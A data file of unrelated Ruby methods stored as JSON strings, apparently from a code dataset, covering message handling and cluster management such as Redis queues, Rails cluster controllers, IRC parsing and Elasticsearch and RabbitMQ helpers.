"def process_messages\n\t\t\tloop do\n\t\t\t\tchan, message = @redis_listener.blpop(\"#{PREFIX}.network:#{@network}.messages\", 0)\n\t\t\t\t@log.debug(\"A client sent the message : #{message}\")\n\t\t\t\tmsgid, command, args = parse(message)\n\t\t\t\tunless command\n\t\t\t\t\t@log.warn(\"A client sent an invalid message.\")\n\t\t\t\t\tnext\n\t\t\t\tend\n\t\t\t\tif msgid && @failed_cmds.include?(msgid) # Every daemon tried to contact the multi (blpop act as first waiting, first served)\n\t\t\t\t\tanswer(msgid, false, \"No daemon could contact the multiplexer\")\n\t\t\t\t\tnext\n\t\t\t\tend\n\t\t\t\tans, info = case command\n\t\t\t\t\twhen \"add_sensor\"\n\t\t\t\t\t\tregister_device :sensor, args\n\t\t\t\t\twhen \"add_actuator\"\n\t\t\t\t\t\tregister_device :actuator, args\n\t\t\t\t\twhen \"delete_sensor\"\n\t\t\t\t\t\tunregister_device :sensor, args\n\t\t\t\t\twhen \"delete_actuator\"\n\t\t\t\t\t\tunregister_device :actuator, args\n\t\t\t\t\twhen \"take\"\n\t\t\t\t\t\ttake_callback args\n\t\t\t\t\twhen \"actuator_state\"\n\t\t\t\t\t\tactuator_state_callback args\n\t\t\t\t\telse\n\t\t\t\t\t\t@log.warn(\"A client sent an unknown command : \\\"#{command}\\\"\")\n\t\t\t\t\t\t[false, \"Unknown command \\\"#{command}\\\"\"]\n\t\t\t\tend\n\t\t\t\tcase ans\n\t\t\t\t\twhen true # Success\n\t\t\t\t\t\tanswer(msgid, true)\n\t\t\t\t\twhen false # Failure\n\t\t\t\t\t\tanswer(msgid, false, info)\n\t\t\t\t\telse # Timeout error, transmit to another daemon\n\t\t\t\t\t\tif not msgid\t\t\t # Generate an id only for daemons\n\t\t\t\t\t\t\tmsgid = rand.hash.abs\n\t\t\t\t\t\t\tmessage = \"#{msgid}:#{message}\"\n\t\t\t\t\t\tend\n\t\t\t\t\t\t@failed_cmds.push(msgid).unshift\n\t\t\t\t\t\t#answer(msgid, false, \"wait\") # TODO utile ?\n\t\t\t\t\t\t@redis_listener.lpush(\"#{PREFIX}.network:#@network.messages\", message) #TODO generate with path?\n\t\t\t\tend\n\t\t\tend\n\t\tend",
"def parse_cluster(element)\n xpath = \"//#{element}\"\n nodes = xml_doc.xpath(\"//#{element}\")\n #puts \"cluster count: #{nodes.count}\" if element == 'E19_01_0'\n\n clusters = []\n begin\n nodes.each do |node|\n cluster = Nemsis::Parser.new(node.to_s)\n clusters << cluster\n end\n # rescue => err\n # warn \"Warn: parsing xpath [#{xpath}]: #{err}\"\n end\n\n clusters\n end",
"def process_omf_message(message, topic)\n unless message.is_a? OmfCommon::Message\n raise \"Expected Message, but got '#{message.class}'\"\n #message = OmfCommon::Message.new(props.dup)\n end\n #puts \"PPP(#{topic.id}|#{uid})-> #{message}\"\n objects_by_topic(topic.id.to_s).each do |obj|\n #puts \"TTT(#{self})-> #{obj}\"\n if OmfCommon::Measure.enabled?\n OmfRc::ResourceProxy::MPReceived.inject(Time.now.to_f, self.uid, topic, message.msg_id) \n end\n execute_omf_operation(message, obj, topic)\n end\n end",
"def __cluster_info\n health = JSON.parse(Net::HTTP.get(URI(\"#{__cluster_url}/_cluster/health\")))\n nodes = if version == '0.90'\n JSON.parse(Net::HTTP.get(URI(\"#{__cluster_url}/_nodes/?process&http\")))\n else\n JSON.parse(Net::HTTP.get(URI(\"#{__cluster_url}/_nodes/process,http\")))\n end\n master = JSON.parse(Net::HTTP.get(URI(\"#{__cluster_url}/_cluster/state\")))['master_node']\n\n result = [\"\\n\",\n ('-'*80).ansi(:faint),\n 'Cluster: '.ljust(20).ansi(:faint) + health['cluster_name'].to_s.ansi(:faint),\n 'Status: '.ljust(20).ansi(:faint) + health['status'].to_s.ansi(:faint),\n 'Nodes: '.ljust(20).ansi(:faint) + health['number_of_nodes'].to_s.ansi(:faint)].join(\"\\n\")\n\n nodes['nodes'].each do |id, info|\n m = id == master ? '*' : '-'\n result << \"\\n\" +\n ''.ljust(20) +\n \"#{m} \".ansi(:faint) +\n \"#{info['name'].ansi(:bold)} \".ansi(:faint) +\n \"| version: #{info['version'] rescue 'N/A'}, \".ansi(:faint) +\n \"pid: #{info['process']['id'] rescue 'N/A'}, \".ansi(:faint) +\n \"address: #{info['http']['bound_address'] rescue 'N/A'}\".ansi(:faint)\n end\n\n result\n end",
"def analyze_share(message)\n return if message[FROM] == @cluster.id\n\n node = Nokogiri::XML(message[STANZA]).root rescue nil\n return unless node\n\n to = Vines::JID.new(node[TO])\n return unless @cluster.storage(to.domain).user_exists?(to)\n\n to_node(message)\n end",
"def run # rubocop:disable MethodLength\n if master?\n case find_status\n when 'green'\n ok 'Cluster is green'\n when 'yellow'\n warning 'Cluster is yellow'\n when 'red'\n critical 'Cluster is red'\n end\n else\n ok 'Not the master'\n end\n end",
"def processOtherMessage(line)\n #nothing to do with this message\nend",
"def cloud_platform_cluster_body(**options)\n {\n \"name\": options[:name] || 'string',\n \"description\": options[:description] || 'string',\n \"initialNodeCount\": options[:initialNodeCount] || 'number',\n \"masterAuth\": {\n \"username\": options[:username] || 'string',\n \"password\": options[:password] || 'string',\n \"clusterCaCertificate\": options[:clusterCaCertificate] || load_sample_cert,\n \"clientCertificate\": options[:clientCertificate] || 'string',\n \"clientKey\": options[:clientKey] || 'string'\n },\n \"loggingService\": options[:loggingService] || 'string',\n \"monitoringService\": options[:monitoringService] || 'string',\n \"network\": options[:network] || 'string',\n \"clusterIpv4Cidr\": options[:clusterIpv4Cidr] || 'string',\n \"subnetwork\": options[:subnetwork] || 'string',\n \"enableKubernetesAlpha\": options[:enableKubernetesAlpha] || 'boolean',\n \"labelFingerprint\": options[:labelFingerprint] || 'string',\n \"selfLink\": options[:selfLink] || 'string',\n \"zone\": options[:zone] || 'string',\n \"endpoint\": options[:endpoint] || 'string',\n \"initialClusterVersion\": options[:initialClusterVersion] || 'string',\n \"currentMasterVersion\": options[:currentMasterVersion] || 'string',\n \"currentNodeVersion\": options[:currentNodeVersion] || 'string',\n \"createTime\": options[:createTime] || 'string',\n \"status\": options[:status] || 'RUNNING',\n \"statusMessage\": options[:statusMessage] || 'string',\n \"nodeIpv4CidrSize\": options[:nodeIpv4CidrSize] || 'number',\n \"servicesIpv4Cidr\": options[:servicesIpv4Cidr] || 'string',\n \"currentNodeCount\": options[:currentNodeCount] || 'number',\n \"expireTime\": options[:expireTime] || 'string'\n }\n end",
"def on_cluster(hid, &block)\n return unless @clusters[hid] && @clusters[hid][:cluster]\n\n block.call(@clusters[hid][:cluster])\n end",
"def create\n @cluster = Cluster.new(params[:cluster])\n\n respond_to do |format|\n if @cluster.save\n flash[:notice] = 'Cluster was successfully created.'\n format.html { redirect_to(@cluster) }\n format.xml { render :xml => @cluster, :status => :created, :location => @cluster }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @cluster.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def contract(\n region, asg_name, ecs_cluster_name,\n host_cluster = nil, service_cluster = nil\n )\n batch_size = options[:batch_size]\n\n host_cluster ||= Rollo::Model::HostCluster.new(asg_name, region)\n service_cluster ||= Rollo::Model::ServiceCluster.new(\n ecs_cluster_name, region\n )\n\n say(\"Decreasing host cluster desired capacity by #{batch_size}...\")\n # rubocop:disable Metrics/BlockLength\n with_padding do\n host_cluster.decrease_capacity_by(batch_size) do |on|\n on.prepare do |current, target|\n say(\n \"Changing desired capacity from #{current} to \" \\\n \"#{target}...\"\n )\n end\n on.waiting_for_start do |attempt|\n say(\n 'Waiting for capacity change to start ' \\\n \"(attempt #{attempt})...\"\n )\n end\n on.waiting_for_end do |attempt|\n say(\n 'Waiting for capacity change to complete ' \\\n \"(attempt #{attempt})...\"\n )\n end\n on.waiting_for_health do |attempt|\n say(\n 'Waiting for host cluster to reach healthy state ' \\\n \"(attempt #{attempt})...\"\n )\n end\n end\n service_cluster.with_replica_services do |services|\n services.each_service do |service|\n service.wait_for_service_health do |on|\n on.waiting_for_health do |attempt|\n say(\n \"Waiting for service #{service.name} to reach a \" \\\n \"steady state (attempt #{attempt})...\"\n )\n end\n end\n end\n end\n end\n # rubocop:enable Metrics/BlockLength\n say 'Host cluster desired capacity decreased, continuing...'\n end",
"def cluster name\n Cluster.receive connection.resource(:get, \"clusters/#{name}\")\n end",
"def get_cluster(cluster)\n cluster = JSON.parse(cluster)\n return cluster\n rescue JSON::ParserError => e\n return cluster\nend",
"def execute(message)\n failure_wrap(message) do |event|\n new_payload(\n config[:name],\n :cfn_event => event\n )\n completed(event, message)\n end\n end",
"def send_message(event, payload = nil, destination = nil)\n Redis.publish('slanger:cluster', {sender: node_id, destination: destination, event: event, payload: payload}.to_json)\n end",
"def change_cluster_node_type(cluster_node_type)\n cmd = \"rabbitmqctl change_cluster_node_type #{cluster_node_type}\"\n Chef::Log.debug(\"[rabbitmq_cluster] Executing #{cmd}\")\n cmd = get_shellout(cmd)\n cmd.run_command\n begin\n cmd.error!\n Chef::Log.debug(\"[rabbitmq_cluster] #{cmd.stdout}\")\n rescue\n err = cmd.stderr\n Chef::Log.warn(\"[rabbitmq_cluster] #{err}\")\n if err.include?('{not_clustered,\"Non-clustered nodes can only be disc nodes.\"}')\n Chef::Log.info('[rabbitmq_cluster] Node is not clustered yet, error will be ignored.')\n else\n raise(\"[rabbitmq_cluster] #{err}\")\n end\n end\n end",
"def on_incoming_message(msg)\n type = msg.operation\n debug \"(#{id}) Deliver message '#{type}': #{msg.inspect}\"\n htypes = [type, :message]\n if type == :inform\n # TODO keep converting itype is painful, need to solve this.\n if (it = msg.itype(:ruby)) # format itype as lower case string\n case it\n when \"creation_ok\"\n htypes << :create_succeeded\n when 'status'\n htypes << :inform_status\n end\n\n htypes << it.to_sym\n end\n end\n\n debug \"(#{id}) Message type '#{htypes.inspect}' (#{msg.class}:#{msg.cid})\"\n hs = htypes.map { |ht| (@handlers[ht] || {}).values }.compact.flatten\n debug \"(#{id}) Distributing message to '#{hs.inspect}'\"\n hs.each do |block|\n block.call msg\n end\n if cbk = @context2cbk[msg.cid.to_s]\n debug \"(#{id}) Distributing message to '#{cbk.inspect}'\"\n cbk[:last_used] = Time.now\n cbk[:block].call(msg)\n end\n end",
"def receive(data, addrinfo)\n found = search_node extract_ip addrinfo\n packet = Net::Packet.parse(data)\n\n if not found\n if packet.is_helo?\n new_node(addrinfo)\n else\n raise Errors::CraftedMessageError, \"Crafted message got from addrinfo=#{addrinfo}\"\n end\n else\n if packet.is_bye?\n remove_node found.ip\n elsif packet.is_name? \n found.username = packet.payload\n elsif packet.is_state?\n found.state = packet.payload\n elsif packet.is_msg?\n ui.received(found, packet.payload)\n else\n raise Errors::CraftedMessageError, \"Crafted message got from addrinfo=#{addrinfo}\"\n end\n \n end\n end",
"def process_job_msg(job_msg)\n msg = job_msg[\"msg\"]\n data = job_msg[\"data\"]\n\n if status == 'pending' && msg == 'begin'\n @status = 'running'\n @start_time = Time.now\n elsif (status == 'running' || status == 'unknown') && (msg == 'success' || msg == 'failure')\n @status = msg\n @result = data\n @duration = Time.now - @start_time\n elsif (status == 'running' || status == 'unknown') && msg == 'exception'\n @status = 'exception'\n @exception = data\n @duration = Time.now - @start_time\n elsif msg == \"info\"\n # Ignore client defined messages\n true\n elsif msg == \"arrhythmia\"\n @status = 'unknown'\n @duration = Time.now - @start_time\n else\n raise \"State machine Error #{job_msg}\"\n end\n end",
"def execute(message)\n failure_wrap(message) do |payload|\n cfn_resource = rekey_hash(payload.get(:data, :cfn_resource))\n properties = rekey_hash(cfn_resource[:resource_properties])\n parameters = rekey_hash(properties[:parameters])\n cfn_response = build_response(cfn_resource)\n case cfn_resource[:request_type].to_sym\n when :create\n create_stack(cfn_response, cfn_resource, properties, parameters, message)\n when :update\n update_stack(cfn_response, cfn_resource, properties, parameters, message)\n when :delete\n destroy_stack(cfn_response, cfn_resource, message)\n else\n error \"Unknown request type received: #{cfn_resource[:request_type].inspect}\"\n cfn_response['Status'] = 'FAILED'\n cfn_response['Reason'] = 'Unknown request type received'\n end\n respond_to_stack(cfn_response, cfn_resource[:response_url])\n job_completed(:jackal_cfn, payload, message)\n end\n end",
"def processRegularUserMessage(message)\r\n return formatMessageText(message[:message])\r\n end",
"def update_cluster request_pb, options = nil\n raise ::ArgumentError, \"request must be provided\" if request_pb.nil?\n\n verb, uri, query_string_params, body = ServiceStub.transcode_update_cluster_request request_pb\n query_string_params = if query_string_params.any?\n query_string_params.to_h { |p| p.split \"=\", 2 }\n else\n {}\n end\n\n response = @client_stub.make_http_request(\n verb,\n uri: uri,\n body: body || \"\",\n params: query_string_params,\n options: options\n )\n operation = ::Gapic::Rest::TransportOperation.new response\n result = ::Google::Longrunning::Operation.decode_json response.body, ignore_unknown_fields: true\n\n yield result, operation if block_given?\n result\n end",
"def process(msg, peer)\n return nil unless msg\n \t\t\t\tcmd = verify(msg)\n \t\t\t\treturn nil unless cmd\n @callback.call(@name, peer, cmd) if @callback\n \t\t\t\tputs \"Nugache #{@name} Processing message\" if @@debug\n signed = sign(cmd)\n\t\t\t\t\t@pm.peers.each do |pr|\n\t\t\t\t\t\tnext if pr == peer\n\t\t\t\t\t\tputs \"Nugache #{@name} Relaying message to #{pr.ip}:#{pr.port}\" if @@debug\n\t\t\t\t\t\tpr.connection.send_msg(signed)\n\t\t\t\t\tend\n end",
"def do_message_callback(message)\n topic = message.topic\n action = parse_action(topic)\n type = parse_type(topic)\n payload = message.payload\n token = nil\n new_version = -1\n @parser_mutex.synchronize() {\n @payload_parser.set_message(payload)\n new_version = @payload_parser.get_attribute_value(\"version\")\n token = @payload_parser.get_attribute_value(\"clientToken\")\n }\n if %w(get update delete).include?(action)\n if @token_pool.has_key?(token)\n @token_pool[token].cancel\n @token_pool.delete(token)\n if type.eql?(\"accepted\")\n do_accepted(message, action.to_sym, token, type, new_version)\n else\n do_rejected(token, action, new_version)\n end\n @task_count_mutex.synchronize {\n decresase_task_count(action.to_sym)\n }\n end\n elsif %w(delta).include?(action)\n do_delta(message, new_version)\n end\n end",
"def covscan_handle_message(content, msg)\n output(content, msg)\n\n scan_id = content['scan_id']\n scan_state = content['scan_state']\n\n test_run = ExternalTestRun.find_run(:covscan, scan_id)\n if test_run\n # Update the run's status\n say \"Updating scan status for #{test_run.id}\"\n test_run.covscan_status_update(scan_state)\n else\n # We know nothing about this scan so let's ignore it\n say \"Can't find test run record, ignoring\"\n end\n end",
"def parse(msg)\n if(String(msg).empty?)\n return\n end\n \n #\n # If there is no timestam, given them \n #\n if(@timestamp.nil?)\n @timestamp=Time.now\n end\n \n #\n # Socket Event\n #\n if(msg.instance_of?(Fixnum))\n @command=msg\n @to=@selfNick\n @fromNick=@server\n @from=@fromNick\n\n case msg\n when Event::LINK_ESTABLISHING\n @cmndstr=\"LINK_ESTABLISHING\"\n when Event::LINK_ESTABLISHED\n @cmndstr=\"LINK_ESTABLISHED\"\n when Event::LINK_FAILED\n @cmndstr=\"LINK_FAILED\"\n when Event::LINK_CLOSING\n @cmndstr=\"LINK_CLOSING\"\n when Event::LINK_CLOSED\n @cmndstr=\"LINK_CLOSED\"\n end\n return\n end\n \n #\n # Some spetial messages parse\n #\n tmp=msg.split(\" \",2)\n case tmp[0]\n when \"KILL\"\n @cmndstr=\"KILL\"\n @command=Event::RECV_MESSAGE_KILL\n @args=[tmp[1]]\n when \"PING\"\n @cmndstr=\"PING\"\n @command=Event::RECV_MESSAGE_PING\n @args=[tmp[1]]\n when \"PONG\"\n @cmndstr=\"PONG\"\n @command=Event::RECV_MESSAGE_PONG\n @args=[tmp[1]]\n when \"ERROR\"\n @cmndstr=\"ERROR\"\n @command=Event::RECV_MESSAGE_ERROR\n @args=[tmp[1]]\n when \"NOTICE\"\n #\n # for madoka-parsed CTCP message\n #\n # She parse unknown ctcp such as\n # :hoge!~huga@hoe mohe PRIVMSG ^AGOHAN asa^A\n # to\n # NOTICE mohe :GOHAN@hoge: asa\n #\n if(String(tmp[1])=~/([^\\s]+) :([^\\@\\s]+)@([^:]+):(.+)/)\n @ctcpQuery=true\n @cmndstr=\"CTCP_QUERY\"\n \n @to=String($1)\n @channel=@to\n @fromNick=String($3)\n @from=@fromNick\n parseCtcp(Event::RECV_CMND+Event::CMND_CTCP_QUERY,\n String($2)+String($4))\n else\n @cmndstr=\"NOTICE\"\n @command=Event::RECV_MESSAGE_NOTICE\n @args=[tmp[1]]\n end\n else\n parseMessage(msg)\n end\n end",
"def processMessage\n\n loop do\n\n input = @processMessageQueue.pop\n\n Log::debug \"#{__method__}: #{input}\"\n\n case input[:type]\n when :send\n\n id = input[:id]\n to = input[:to]\n from = input[:from]\n\n output = packMessage(to, input[:message])\n\n if output\n \n @processJobQueue.push({\n :type=>:notifyPacked,\n :id=>id,\n :time => Time.now,\n :counter => output[:counter],\n :message => {\n :to => to,\n :from => from,\n :message => output[:data],\n :ip => input[:ip],\n :port => input[:port]\n } \n })\n\n else\n\n @processJobQueue.push({\n :type=>:notifyNotSent,\n :id=>id,\n :time => Time.now\n })\n\n end\n\n when :receive\n\n id = input[:id]\n \n result = unpackMessage(input[:data])\n\n if result\n\n case result[:recipient]\n when :PR6_RECIPIENT_CLIENT\n\n @processJobQueue.push({\n :type => :processMessage,\n :from => result[:from],\n :to => result[:to],\n :message => result[:data] \n })\n\n when :PR6_RECIPIENT_SERVER\n\n association = AssociationRecord.read(result[:to], result[:to], result[:from])\n\n if association\n\n output = packMessage(result[:from], Server.new(association, @objects).input(result[:counter], result[:data]))\n \n if output.size > 0\n\n @outputQueue.push({\n :to => result[:from],\n :from => result[:to],\n :ip => input[:ip],\n :port => input[:port],\n :message => output[:data]\n })\n\n end\n\n else\n\n Log::warning \"#{__method__}: assocation record removed since last read\"\n \n end\n\n else\n raise\n end\n\n end\n\n else\n raise \"unknown message type\"\n end\n\n end\n\n end",
"def star_cluster; end",
"def update\n @cluster = Cluster.find(params[:id])\n\n respond_to do |format|\n if @cluster.update_attributes(params[:cluster])\n flash[:notice] = 'Cluster was successfully updated.'\n format.html { redirect_to(@cluster) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @cluster.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def process\n data = JSON.parse(@message)\n Log.info data.ai\n end",
"def identify_clusters\n raise ArgumentError, 'Missing BLAT alignment file.' unless @alignment_file\n \n # Pull out all of the hits clustered by the query into an array\n puts \"Reading alignment file...\" if @verbose\n query_hits = []\n IO::BLASTFormat.open(@alignment_file) do |f|\n f.each_query do |query, hits| \n query_hits << hits.select { |hit| hit.e_value <= @e_value }\n end\n end\n \n # Create a status bar to monitor thread process\n pbar = ProgressBar.new(\"Converting Hits\", query_hits.size, STDOUT) if @verbose\n \n # Thread the creation of the entries from the hits\n entries = Utilities::Threader.thread(query_hits, threads: @threads) do |thread_query_hits|\n thread_query_hits.map do |hits|\n pbar.inc if @verbose\n \n # Cluster the hits\n clusters = Alignment::Aligner.cluster_hits(hits, cluster_on: :subject)\n \n # Convert the clusters to entries\n clusters.map { |clustered_hits| create_feature(clustered_hits) }\n end\n end.flatten\n\n # Write the file\n puts \"Writing entries to file...\" if @verbose\n @output_file ||= \"#{@alignment_file}.gff3\"\n IO::GFFFormat.open(@output_file, mode: 'w') do |f|\n f.puts_header\n f.puts(entries, progress_bar: true, id_prefix: @id_prefix)\n end\n \n @output_file\n end",
"def process_message(message)\n case Jobber.config.role\n when :jobber then JobberWorkerUnit.new(message)\n when :participant then ParticipantWorkerUnit.new(message)\n when :listener then ListenerWorkerUnit.new(message)\n end\n end",
"def create\n @cluster = Cluster.new(cluster_params)\n @cluster.account = current_account\n respond_to do |format|\n if @cluster.save\n CreateClusterJob.perform_later(@cluster)\n format.html { redirect_to @cluster, notice: 'Cluster was successfully created.' }\n format.json { render :show, status: :created, location: @cluster }\n else\n format.html { render :new }\n format.json { render json: @cluster.errors, status: :unprocessable_entity }\n end\n end\n end",
"def process_message(msg)\n launcher = @IA_Info[:launcher]\n case msg.first\n when :msg_fail, :unefficient_msg, :useless_msg\n @IA_Info[:failure] = true\n when :efficiency_sound\n @IA_Info[:failure] = true if msg.last == 0\n when :hp_down, :hp_down_proto\n if msg[1] == launcher\n @IA_Info[:recoil] += msg[2] if @IA_Info[:symbol] != :s_explosion\n else\n @IA_Info[:damage] += msg[2]\n end\n when :hp_up\n if msg.first == launcher\n @IA_Info[:recoil] -= msg[2]\n else\n @IA_Info[:damage] -= msg[2]\n end\n when :OHKO\n if msg[1] == launcher\n @IA_Info[:recoil] += msg[1].max_hp\n else\n @IA_Info[:damage] += msg[1].max_hp\n end\n when :rand_check\n @IA_Info[:randomness] = msg[1] ? msg[1].to_f / msg.last : msg.last / 100.0\n when :weather_change\n unless BattleEngine.state[:air_lock]\n @IA_Info[:other_factor] = get_weather_advantage_factor(msg[1]) if $env.current_weather == 0\n end\n when :attract_effect\n if msg[1] == launcher\n @IA_Info[:other_factor] = 0.1\n else\n @IA_Info[:other_factor] = get_attract_factor(msg[1])\n end\n when :effect_afraid\n @IA_Info[:status_factor] = rand\n when :status_confuse\n unless @IA_Info[:target].confused?\n @IA_Info[:status_factor] = rand * turn_status_factor(launcher) unless detect_protect_on_status(msg[1], false)\n end\n when :perish_song\n unless @IA_Info[:target].battle_effect.has_perish_song_effect? or launcher.battle_effect.has_perish_song_effect?\n @IA_Info[:other_factor] = get_basic_factor\n end\n when :future_skill\n @IA_Info[:other_factor] = get_basic_factor unless @IA_Info[:target].battle_effect.is_locked_by_future_skill? or launcher.battle_effect.has_future_skill?\n when :stat_reset_neg, :stat_reset\n @IA_Info[:other_factor] = get_basic_factor if launcher.battle_stage.sum < 0\n when :stat_set\n if msg[1] == launcher\n if msg.last > 0\n @IA_Info[:other_factor] = get_basic_factor if (launcher.battle_stage[msg[2]] - msg.last) < 0\n end\n else\n if msg.last < 0\n @IA_Info[:other_factor] = get_basic_factor if (@IA_Info[:target].battle_stage[msg[2]] - msg.last) > 0\n end\n end\n when :set_type\n @IA_Info[:other_factor] = get_basic_factor unless msg[1].type?(msg[2])\n when :set_ability\n @IA_Info[:other_factor] = get_basic_factor unless msg[1].ability_current == msg[2]\n when :switch_pokemon\n @IA_Info[:other_factor] = get_basic_factor if launcher.hp_rate < 0.5\n when :mimic\n @IA_Info[:other_factor] = get_basic_factor if $game_temp.battle_turn > 1 and msg[2].last_skill != 0\n when :entry_hazards_remove\n if BattleEngine.state[:enn_spikes] > 0 or\n BattleEngine.state[:enn_toxic_spikes] > 0 or\n BattleEngine.state[:enn_stealth_rock] or\n BattleEngine.state[:enn_sticky_web]\n @IA_Info[:other_factor] = get_basic_factor(0.8)\n end\n when :apply_out_of_reach\n @IA_Info[:other_factor] = get_basic_factor\n when :set_hp\n if msg[1] == launcher\n @IA_Info[:recoil] += launcher.hp - msg[2]\n else\n @IA_Info[:damage] += @IA_Info[:target] - msg[2]\n end\n when :berry_use\n @IA_Info[:other_factor] = 0.2\n when :after_you\n @IA_Info[:other_factor] = get_basic_factor\n when :change_atk, :change_dfe, :change_spd, :change_dfs, :change_ats, :change_eva, :change_acc\n if msg[1] == launcher\n if msg.last > 0\n @IA_Info[:other_factor] = get_basic_factor if (launcher.battle_stage.sum - msg.last) < 0\n end\n else\n if msg.last < 0\n @IA_Info[:other_factor] = get_basic_factor if (@IA_Info[:target].battle_stage.sum - msg.last) > 0\n end\n end\n when :status_sleep\n unless detect_protect_on_status(msg[1])\n if msg[1].can_be_asleep?\n @IA_Info[:status_factor] = get_basic_factor * turn_status_factor(launcher)\n end\n end\n when :status_frozen\n unless detect_protect_on_status(msg[1])\n if msg[1].can_be_frozen?(@IA_Info[:skill].type)\n @IA_Info[:status_factor] = get_basic_factor * 2\n end\n end\n when :status_poison\n unless detect_protect_on_status(msg[1])\n if msg[1].can_be_poisoned?\n @IA_Info[:status_factor] = get_basic_factor * turn_status_factor(launcher)\n end\n end\n when :status_toxic\n unless detect_protect_on_status(msg[1])\n if msg[1].can_be_poisoned?\n @IA_Info[:status_factor] = get_basic_factor * 2\n end\n end\n when :status_paralyze\n unless detect_protect_on_status(msg[1])\n if msg[1].can_be_paralyzed?\n @IA_Info[:status_factor] = get_basic_factor * turn_status_factor(launcher)\n end\n end\n when :status_burn\n unless detect_protect_on_status(msg[1])\n if msg[1].can_be_burn?\n @IA_Info[:status_factor] = get_basic_factor * 2\n end\n end\n when :status_cure\n if msg[1].status != 0 and msg[1] == launcher\n @IA_Info[:status_factor] = get_basic_factor\n end\n when :set_state\n @IA_Info[:other_factor] = get_basic_factor(0.8) if BattleEngine.state[msg[1]] != msg[2]\n when :send_state\n @IA_Info[:other_factor] = get_basic_factor(0.6)\n when :apply_effect\n @IA_Info[:other_factor] = get_basic_factor(0.3)\n when :status_chance\n @IA_Info[:status_chance] = msg.last / 100.0\n when :chance\n @IA_Info[:randomness] = msg.last / 100.0\n end\n end",
"def process_message(msg)\n @current_from = nil\n @current_to = nil\n @current_msg = nil\n \n case msg\n when /^:(.+?)!(.+?)@(\\S+) PRIVMSG (\\S+) :(.+)$/\n @current_from = $1\n @current_to = $4\n @current_msg = $5.strip\n\n self.check_command_plugins(@current_msg)\n \n when /^PING (.+)$/\n @current_server.write(\"PONG #{$1}\")\n end\n end",
"def diagnose_cluster request_pb, options = nil\n raise ::ArgumentError, \"request must be provided\" if request_pb.nil?\n\n verb, uri, query_string_params, body = ServiceStub.transcode_diagnose_cluster_request request_pb\n query_string_params = if query_string_params.any?\n query_string_params.to_h { |p| p.split \"=\", 2 }\n else\n {}\n end\n\n response = @client_stub.make_http_request(\n verb,\n uri: uri,\n body: body || \"\",\n params: query_string_params,\n options: options\n )\n operation = ::Gapic::Rest::TransportOperation.new response\n result = ::Google::Longrunning::Operation.decode_json response.body, ignore_unknown_fields: true\n\n yield result, operation if block_given?\n result\n end",
"def message_process(peer,data)\r\n\t\t\twarn(\"#{m} must be implemented in plugin!\")\t\t\t\r\n\t\tend",
"def create\n @cluster = Cluster.new(params[:cluster])\n\n respond_to do |format|\n if @cluster.save\n format.html { redirect_to @cluster, notice: 'Cluster was successfully created.' }\n format.json { render json: @cluster, status: :created, location: @cluster }\n else\n format.html { render action: \"new\" }\n format.json { render json: @cluster.errors, status: :unprocessable_entity }\n end\n end\n end",
"def cluster_status\n report_metric 'Cluster Status/Partitioned', 'nodes', rmq_manager.nodes.count { |n| Array(n['partitions']).any? }\n report_metric 'Cluster Status/Stopped', 'nodes', rmq_manager.nodes.count { |n| !n['running'] }\n end",
"def process_message(message)\n with_retries(max_tries: retries, handler: retry_handler) do\n handler.call(parse_message(message.value))\n end\n rescue StandardError => e\n handle_exception(e)\n stop\n else\n store_offset(offset)\n self\n end",
"def process message\n op = message[\"opcode\"]\n data = message[\"data\"]\n\n case op\n when PUBLISH\n emit(\"message\", data)\n when SUBSCRIBE_GRANTED\n emit(\"subscribe\")\n when SUBSCRIBE_DENIED\n emit(\"subscribe_denied\")\n when PUBLISH_DENIED\n emit(\"publish_denied\")\n when PUBLISH_GRANTED\n emit(\"publish_granted\")\n when UNSUBSCRIBE_COMPLETE\n emit(\"unsubscribe\")\n @callbacks.clear\n when AUTHORIZE_DENIED\n emit(\"authorize_denied\")\n when AUTHORIZE_COMPLETE\n emit(\"authorize_complete\")\n end\n\n end",
"def node_cluster_id() ; info[:node_cluster] ; end",
"def process\n {\n \"type\": \"message\",\n \"channel\": channel,\n \"text\": message\n }.to_json\n end",
"def perform(message)\n \tActionCable.server.broadcast \"chatrooms:#{message.chatroom.id}\", {\n \t\tmessage: MessagesController.render(message),\n \t\tchatroom_id: message.chatroom.id\n \t}\n # Do something later\n end",
"def process(message)\n return message unless message[:service] == :groupme\n\n gid = message[:group].split('/').last\n map = Util.bot_map_for(bot)\n\n message if map.key? gid\n end",
"def create\n @topiccluster = Topiccluster.new(params[:topiccluster])\n\n respond_to do |format|\n if @topiccluster.save\n format.html { redirect_to(@topiccluster, :notice => 'Topiccluster was successfully created.') }\n format.xml { render :xml => @topiccluster, :status => :created, :location => @topiccluster }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @topiccluster.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def msgHandler()\n\tSTDOUT.puts \"WRITING\"\n\tloop do\n\t\t$semaphore.synchronize {\n\t\t\t$socketBuf.each do |socket, str|\n\t\t\t\tstr = str.strip()\n\t\t\t\targs = str.split(\" \")\n\t\t\t\tcmd = args[0]\n\t\t\t\tdestNode = args[1]\n\t\t\t\tcase (cmd)\t\t\n\t\t\t\t#Acknowledgements\n\t\t\t\twhen \"APPLYEDGE\"; handleEntryAdd(socket,destNode)\n\t\t\t\telse STDOUT.puts \"ERROR: INVALID COMMAND \\\"#{cmd}\\\"\"\n\t\t\t\tend\n\t\t\tend\n\t\t}\n\tend\nend",
"def listener message\n p message\n case message.downcase\n # add own messages\n when \"start\"\n puts 'Starting'\n when \"end\"\n puts 'Ending'\n stop\n exit 0\n else\n puts \"unknown message:#{message}\"\n end\n publish \"ack\"\n end",
"def cluster\n OodAppkit.clusters[cluster_id] || raise(ClusterNotFound, \"Session specifies nonexistent '#{cluster_id}' cluster id.\")\n end",
"def handle_message(event)\n sender = @users[event['sender']]\n timestamp = event['origin_server_ts'] || Time.now.to_i\n content = event['content']\n message = Message.new sender, timestamp, content\n broadcast(:message, @room, message)\n Events.processed event\n end",
